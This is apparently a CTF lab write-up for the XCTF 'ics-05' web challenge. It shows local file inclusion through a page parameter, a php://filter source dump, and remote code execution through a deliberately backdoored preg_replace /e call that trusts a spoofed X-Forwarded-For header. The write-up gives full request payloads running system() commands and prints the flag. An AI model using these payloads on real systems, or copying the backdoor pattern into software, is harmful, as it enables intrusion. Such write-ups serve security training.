adworld-ics-05

ics-05

GFSJ0332积分 3金币 3

77最佳Writeup由 darkless 提供

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难度：3

方向：Web

题解数：35

解出人数：6403

题目来源: XCTF

题目描述:

其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统

题目场景:

http://61.147.171.105:53619

100%

倒计时: 3时59分0秒

延时删除场景

Click 设备维护中心

Test !

http://61.147.171.105:53619/index.php?page=/etc/crontab


# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #

http://61.147.171.105:53619/index.php?page=/etc/apache2/apache2.conf


# This is the main Apache server configuration file. It contains the # configuration directives that give the server its instructions. # See http://httpd.apache.org/docs/2.4/ for detailed information about # the directives and /usr/share/doc/apache2/README.Debian about Debian specific # hints. # # # Summary of how the Apache 2 configuration works in Debian: # The Apache 2 web server configuration in Debian is quite different to # upstream's suggested way to configure the web server. This is because Debian's # default Apache2 installation attempts to make adding and removing modules, # virtual hosts, and extra configuration directives as flexible as possible, in # order to make automating the changes and administering the server as easy as # possible. # It is split into several files forming the configuration hierarchy outlined # below, all located in the /etc/apache2/ directory: # # /etc/apache2/ # |-- apache2.conf # | `-- ports.conf # |-- mods-enabled # | |-- *.load # | `-- *.conf # |-- conf-enabled # | `-- *.conf # `-- sites-enabled # `-- *.conf # # # * apache2.conf is the main configuration file (this file). It puts the pieces # together by including all remaining configuration files when starting up the # web server. # # * ports.conf is always included from the main configuration file. It is # supposed to determine listening ports for incoming connections which can be # customized anytime. # # * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ # directories contain particular configuration snippets which manage modules, # global configuration fragments, or virtual host configurations, # respectively. # # They are activated by symlinking available configuration files from their # respective *-available/ counterparts. These should be managed by using our # helpers a2enmod/a2dismod, a2ensite/a2dissite and a2enconf/a2disconf. See # their respective man pages for detailed information. # # * The binary is called apache2. Due to the use of environment variables, in # the default configuration, apache2 needs to be started/stopped with # /etc/init.d/apache2 or apache2ctl. Calling /usr/bin/apache2 directly will not # work with the default configuration. # Global configuration # # # ServerRoot: The top of the directory tree under which the server's # configuration, error, and log files are kept. # # NOTE! If you intend to place this on an NFS (or otherwise network) # mounted filesystem then please read the Mutex documentation (available # at ); # you will save yourself a lot of trouble. # # Do NOT add a slash at the end of the directory path. # #ServerRoot "/etc/apache2" # # The accept serialization lock file MUST BE STORED ON A LOCAL DISK. # Mutex file:${APACHE_LOCK_DIR} default # # PidFile: The file in which the server should record its process # identification number when it starts. # This needs to be set in /etc/apache2/envvars # PidFile ${APACHE_PID_FILE} # # Timeout: The number of seconds before receives and sends time out. # Timeout 300 # # KeepAlive: Whether or not to allow persistent connections (more than # one request per connection). Set to "Off" to deactivate. # KeepAlive On # # MaxKeepAliveRequests: The maximum number of requests to allow # during a persistent connection. Set to 0 to allow an unlimited amount. # We recommend you leave this number high, for maximum performance. # MaxKeepAliveRequests 100 # # KeepAliveTimeout: Number of seconds to wait for the next request from the # same client on the same connection. # KeepAliveTimeout 5 # These need to be set in /etc/apache2/envvars User ${APACHE_RUN_USER} Group ${APACHE_RUN_GROUP} # # HostnameLookups: Log the names of clients or just their IP addresses # e.g., www.apache.org (on) or 204.62.129.132 (off). # The default is off because it'd be overall better for the net if people # had to knowingly turn this feature on, since enabling it means that # each client request will result in AT LEAST one lookup request to the # nameserver. # HostnameLookups Off # ErrorLog: The location of the error log file. # If you do not specify an ErrorLog directive within a # container, error messages relating to that virtual host will be # logged here. If you *do* define an error logfile for a # container, that host's errors will be logged there and not here. # ErrorLog ${APACHE_LOG_DIR}/error.log # # LogLevel: Control the severity of messages logged to the error_log. # Available values: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the log level for particular modules, e.g. # "LogLevel info ssl:warn" # LogLevel warn # Include module configuration: IncludeOptional mods-enabled/*.load IncludeOptional mods-enabled/*.conf # Include list of ports to listen on Include ports.conf # Sets the default security model of the Apache2 HTTPD server. It does # not allow access to the root filesystem outside of /usr/share and /var/www. # The former is used by web applications packaged in Debian, # the latter may be used for local directories served by the web server. If # your system is serving content from a sub-directory in /srv you must allow # access here, or in any related virtual host. Options FollowSymLinks AllowOverride None Require all denied AllowOverride None Require all granted Options Indexes FollowSymLinks AllowOverride None Require all granted # # Options Indexes FollowSymLinks # AllowOverride None # Require all granted # # AccessFileName: The name of the file to look for in each directory # for additional configuration directives. See also the AllowOverride # directive. # AccessFileName .htaccess # # The following lines prevent .htaccess and .htpasswd files from being # viewed by Web clients. # Require all denied # # The following directives define some format nicknames for use with # a CustomLog directive. # # These deviate from the Common Log Format definitions in that they use %O # (the actual bytes sent including headers) instead of %b (the size of the # requested file), because the latter makes it impossible to detect partial # requests. # # Note that the use of %{X-Forwarded-For}i instead of %h is not recommended. # Use mod_remoteip instead. # LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined LogFormat "%h %l %u %t \"%r\" %>s %O" common LogFormat "%{Referer}i -> %U" referer LogFormat "%{User-agent}i" agent # Include of directories ignores editors' and dpkg's backup files, # see README.Debian for details. # Include generic snippets of statements IncludeOptional conf-enabled/*.conf # Include the virtual host configurations: IncludeOptional sites-

http://61.147.171.105:53619/index.php?page=php://filter/read=convert.base64-encode/resource=index.php





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base64 decode

<?php
error_reporting(0);

@session_start();
posix_setuid(1000);


?>
<!DOCTYPE HTML>
<html>

<head>
    <meta charset="utf-8">
    <meta name="renderer" content="webkit">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
    <link rel="stylesheet" href="layui/css/layui.css" media="all">
    <title>设备维护中心</title>
    <meta charset="utf-8">
</head>

<body>
    <ul class="layui-nav">
        <li class="layui-nav-item layui-this"><a href="?page=index">云平台设备维护中心</a></li>
    </ul>
    <fieldset class="layui-elem-field layui-field-title" style="margin-top: 30px;">
        <legend>设备列表</legend>
    </fieldset>
    <table class="layui-hide" id="test"></table>
    <script type="text/html" id="switchTpl">
        <!-- 这里的 checked 的状态只是演示 -->
        <input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开|关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
    </script>
    <script src="layui/layui.js" charset="utf-8"></script>
    <script>
    layui.use('table', function() {
        var table = layui.table,
            form = layui.form;

        table.render({
            elem: '#test',
            url: '/somrthing.json',
            cellMinWidth: 80,
            cols: [
                [
                    { type: 'numbers' },
                     { type: 'checkbox' },
                     { field: 'id', title: 'ID', width: 100, unresize: true, sort: true },
                     { field: 'name', title: '设备名', templet: '#nameTpl' },
                     { field: 'area', title: '区域' },
                     { field: 'status', title: '维护状态', minWidth: 120, sort: true },
                     { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true }
                ]
            ],
            page: true
        });
    });
    </script>
    <script>
    layui.use('element', function() {
        var element = layui.element; //导航的hover效果、二级菜单等功能，需要依赖element模块
        //监听导航点击
        element.on('nav(demo)', function(elem) {
            //console.log(elem)
            layer.msg(elem.text());
        });
    });
    </script>

<?php

$page = $_GET[page];

if (isset($page)) {



if (ctype_alnum($page)) {
?>

    <br /><br /><br /><br />
    <div style="text-align:center">
        <p class="lead"><?php echo $page; die();?></p>
    <br /><br /><br /><br />

<?php

}else{

?>
        <br /><br /><br /><br />
        <div style="text-align:center">
            <p class="lead">
                <?php

                if (strpos($page, 'input') > 0) {
                    die();
                }

                if (strpos($page, 'ta:text') > 0) {
                    die();
                }

                if (strpos($page, 'text') > 0) {
                    die();
                }

                if ($page === 'index.php') {
                    die('Ok');
                }
                    include($page);
                    die();
                ?>
        </p>
        <br /><br /><br /><br />

<?php
}}


//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }

}





?>

</body>

</html>

According if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {

X-Forwarded-For: 127.0.0.1

using this

//方便的实现输入输出的功能,正在开发中的功能，只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
    preg_replace($pattern, $replacement, $subject);
}else{
    die();
}

preg_replace 函数执行一个正则表达式的搜索和替换。
语法
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分， 以 replacement 进行替换。
参数说明：
$pattern: 要搜索的模式，可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选，对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1（无限制）。
$count: 可选，为替换执行的次数。
返回值
如果 subject 是一个数组， preg_replace() 返回一个数组， 其他情况下返回一个字符串。
如果匹配被查找到，替换后的 subject 被返回，其他情况下 返回没有改变的 subject。如果发生错误，返回 NULL。
实例
将 google 替换为 runoob
<?php
$string = 'google 123, 456';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = 'runoob ${2},$3';
echo preg_replace($pattern, $replacement, $string);
?>

执行结果如下所示：
runoob 123,456

?pat=/abc/e&rep=system("find+-name+-flag")&sub=defg%20abc

?pat=/abc/e&rep=system("ls flag.php")&sub=defg%20abc

GET /index.php?pat=/abc/e&rep=system("find+-name+flag")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0


    <br >
    Welcome My Admin !
    <br >
    ./s3chahahaDir/flag</body>
</html>

GET /index.php?pat=/abc/e&rep=system("ls%20s3chahahaDir/flag")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0

    Welcome My Admin !
    <br >
    flag.php</body>
</html>

GET /index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=defg%20abc HTTP/1.1
Host: 61.147.171.105:55115
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://61.147.171.105:55115/index.php?page=index
Connection: close
X-Forwarded-For: 127.0.0.1
Cookie: PHPSESSID=mc5p3623flhm54cd4corge26v0



    <br >
    Welcome My Admin !
    <br >
    <?php
    $flag = 'cyberpeace{ef3436ab1ca09b41dce58d2cd1aabaa5}';
    ?>
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Ref:

https://blog.csdn.net/w632138645/article/details/132730276